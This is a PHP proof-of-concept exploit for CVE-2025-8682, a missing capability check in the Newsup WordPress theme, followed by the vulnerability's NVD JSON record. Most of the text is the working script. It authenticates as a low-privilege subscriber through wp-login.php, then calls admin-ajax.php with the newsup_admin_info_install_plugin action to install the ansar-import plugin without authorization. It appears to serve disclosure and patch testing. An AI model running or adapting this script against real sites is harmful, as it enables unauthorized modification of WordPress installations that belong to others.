CVE-2025-8682

<?php /** * CVE-2025-8682 PoC - Newsup Theme Unauthorized Plugin Installation * * This PoC demonstrates how to exploit the missing capability check * in newsup_admin_info_install_plugin() function to install the * ansar-import plugin without proper authorization. */ // Target WordPress site URL $target_url = 'https://target-wordpress-site.com'; // Low-privilege user credentials (e.g., subscriber level) $username = 'subscriber_user'; $password = 'user_password'; // Step 1: Authenticate to get cookies $login_url = $target_url . '/wp-login.php'; $cookie_jar = tempnam(sys_get_temp_dir(), 'cookies'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => 1 ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); // Step 2: Exploit the vulnerable function via admin-ajax.php $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'newsup_admin_info_install_plugin', 'plugin_slug' => 'ansar-import' ])); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "HTTP Status: $http_code\n"; echo "Response: $response\n"; // Cleanup unlink($cookie_jar); ?>

{"cve": {"id": "CVE-2025-8682", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:44.433", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Newsup theme for WordPress is vulnerable to unauthorized plugin installation due to a missing capability check on the newsup_admin_info_install_plugin() function in all versions up to, and including, 5.0.10. This makes it possible for unauthenticated attackers to install the ansar-import plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://research.cleantalk.org/cve-2025-8682", "source": "[email protected]"}, {"url": "https://themes.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=292407%40newsup&new=292407%40newsup&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/939b408c-ae22-40ce-b500-317150a2da3b?source=cve", "source": "[email protected]"}]}}